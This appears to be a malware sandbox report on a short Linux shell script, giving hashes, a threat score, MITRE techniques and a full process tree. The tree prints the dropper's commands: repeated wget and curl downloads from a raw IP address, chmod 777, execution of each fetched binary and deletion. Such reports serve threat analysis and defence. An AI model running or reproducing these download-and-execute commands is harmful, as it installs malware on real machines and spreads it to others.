aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1

Analysis

max time kernel
3s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/08/2026, 07:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
Size 1KB
Sample260828-hsvb6stxcw
SHA256 aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1
MD5 6f3ebc132443c3c37344af0bf3ce6d39
SHA1 ed5d9f2320e7eda0b07f72070a0b38f259c79792
SHA512 bef9b6203f26aca0078d0769dcf8152f9c83bf85a77d35f675cfeefe3524a252143d9da46e792e7370de155ba3a95006c426526f0a3dbc92c25a34387c991720
TLSH
T1C8315B9F44105E725102CE8E77A2B94C668EA1FB184FEBD4DC584DA982483CCF3A1F4D
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1588	chmod
1602	chmod
1520	chmod
1532	chmod
1539	chmod
1546	chmod
1560	chmod
1567	chmod
1581	chmod
1595	chmod
1553	chmod
1574	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/a98c3b	1521	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/3645df	1533	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/d74fa4	1540	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/e03e2f	1547	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/68e3f4	1554	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/15c756	1561	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/b745a6	1568	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/875e75	1575	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/ca7854	1582	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/39ae43	1589	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/7e7bae	1596	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/52d2f2	1603	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/a98c3b	curl
File opened for modification	/tmp/3645df	curl
File opened for modification	/tmp/15c756	curl
File opened for modification	/tmp/b745a6	curl
File opened for modification	/tmp/875e75	curl
File opened for modification	/tmp/ca7854	curl
File opened for modification	/tmp/39ae43	curl
File opened for modification	/tmp/7e7bae	curl
File opened for modification	/tmp/d74fa4	curl
File opened for modification	/tmp/e03e2f	curl
File opened for modification	/tmp/68e3f4	curl
File opened for modification	/tmp/52d2f2	curl

/tmp/aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
1⤵
- Executes dropped EXE
PID:1513
- /usr/bin/wget
  wget http://5.182.210.174/a98c3b
  2⤵
  PID:1514
- /usr/bin/curl
  curl -O http://5.182.210.174/a98c3b
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod 777 a98c3b
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/a98c3b
  ./a98c3b bc
  2⤵
  PID:1521
- /bin/rm
  rm -rf a98c3b
  2⤵
  PID:1523
- /bin/rm
  rm -rf a98c3b.1
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://5.182.210.174/3645df
  2⤵
  PID:1525
- /usr/bin/curl
  curl -O http://5.182.210.174/3645df
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/chmod
  chmod 777 3645df
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/3645df
  ./3645df bc
  2⤵
  PID:1533
- /bin/rm
  rm -rf 3645df
  2⤵
  PID:1535
- /bin/rm
  rm -rf 3645df.1
  2⤵
  PID:1536
- /usr/bin/wget
  wget http://5.182.210.174/d74fa4
  2⤵
  PID:1537
- /usr/bin/curl
  curl -O http://5.182.210.174/d74fa4
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod 777 d74fa4
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/d74fa4
  ./d74fa4 bc
  2⤵
  PID:1540
- /bin/rm
  rm -rf d74fa4
  2⤵
  PID:1542
- /bin/rm
  rm -rf d74fa4.1
  2⤵
  PID:1543
- /usr/bin/wget
  wget http://5.182.210.174/e03e2f
  2⤵
  PID:1544
- /usr/bin/curl
  curl -O http://5.182.210.174/e03e2f
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod 777 e03e2f
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/e03e2f
  ./e03e2f bc
  2⤵
  PID:1547
- /bin/rm
  rm -rf e03e2f
  2⤵
  PID:1549
- /bin/rm
  rm -rf e03e2f.1
  2⤵
  PID:1550
- /usr/bin/wget
  wget http://5.182.210.174/68e3f4
  2⤵
  PID:1551
- /usr/bin/curl
  curl -O http://5.182.210.174/68e3f4
  2⤵
  - Writes file to tmp directory
  PID:1552
- /bin/chmod
  chmod 777 68e3f4
  2⤵
  - File and Directory Permissions Modification
  PID:1553
- /tmp/68e3f4
  ./68e3f4 bc
  2⤵
  PID:1554
- /bin/rm
  rm -rf 68e3f4
  2⤵
  PID:1556
- /bin/rm
  rm -rf 68e3f4.1
  2⤵
  PID:1557
- /usr/bin/wget
  wget http://5.182.210.174/15c756
  2⤵
  PID:1558
- /usr/bin/curl
  curl -O http://5.182.210.174/15c756
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod 777 15c756
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/15c756
  ./15c756 bc
  2⤵
  PID:1561
- /bin/rm
  rm -rf 15c756
  2⤵
  PID:1563
- /bin/rm
  rm -rf 15c756.1
  2⤵
  PID:1564
- /usr/bin/wget
  wget http://5.182.210.174/b745a6
  2⤵
  PID:1565
- /usr/bin/curl
  curl -O http://5.182.210.174/b745a6
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/chmod
  chmod 777 b745a6
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/b745a6
  ./b745a6 bc
  2⤵
  PID:1568
- /bin/rm
  rm -rf b745a6
  2⤵
  PID:1570
- /bin/rm
  rm -rf b745a6.1
  2⤵
  PID:1571
- /usr/bin/wget
  wget http://5.182.210.174/875e75
  2⤵
  PID:1572
- /usr/bin/curl
  curl -O http://5.182.210.174/875e75
  2⤵
  - Writes file to tmp directory
  PID:1573
- /bin/chmod
  chmod 777 875e75
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/875e75
  ./875e75 bc
  2⤵
  PID:1575
- /bin/rm
  rm -rf 875e75
  2⤵
  PID:1577
- /bin/rm
  rm -rf 875e75.1
  2⤵
  PID:1578
- /usr/bin/wget
  wget http://5.182.210.174/ca7854
  2⤵
  PID:1579
- /usr/bin/curl
  curl -O http://5.182.210.174/ca7854
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod 777 ca7854
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/ca7854
  ./ca7854 bc
  2⤵
  PID:1582
- /bin/rm
  rm -rf ca7854
  2⤵
  PID:1584
- /bin/rm
  rm -rf ca7854.1
  2⤵
  PID:1585
- /usr/bin/wget
  wget http://5.182.210.174/39ae43
  2⤵
  PID:1586
- /usr/bin/curl
  curl -O http://5.182.210.174/39ae43
  2⤵
  - Writes file to tmp directory
  PID:1587
- /bin/chmod
  chmod 777 39ae43
  2⤵
  - File and Directory Permissions Modification
  PID:1588
- /tmp/39ae43
  ./39ae43 bc
  2⤵
  PID:1589
- /bin/rm
  rm -rf 39ae43
  2⤵
  PID:1591
- /bin/rm
  rm -rf 39ae43.1
  2⤵
  PID:1592
- /usr/bin/wget
  wget http://5.182.210.174/7e7bae
  2⤵
  PID:1593
- /usr/bin/curl
  curl -O http://5.182.210.174/7e7bae
  2⤵
  - Writes file to tmp directory
  PID:1594
- /bin/chmod
  chmod 777 7e7bae
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/7e7bae
  ./7e7bae bc
  2⤵
  PID:1596
- /bin/rm
  rm -rf 7e7bae
  2⤵
  PID:1598
- /bin/rm
  rm -rf 7e7bae.1
  2⤵
  PID:1599
- /usr/bin/wget
  wget http://5.182.210.174/52d2f2
  2⤵
  PID:1600
- /usr/bin/curl
  curl -O http://5.182.210.174/52d2f2
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/chmod
  chmod 777 52d2f2
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/52d2f2
  ./52d2f2 bc
  2⤵
  PID:1603
- /bin/rm
  rm -rf 52d2f2
  2⤵
  PID:1605
- /bin/rm
  rm -rf 52d2f2.1
  2⤵
  PID:1606

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a98c3b

Path /tmp/a98c3b
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download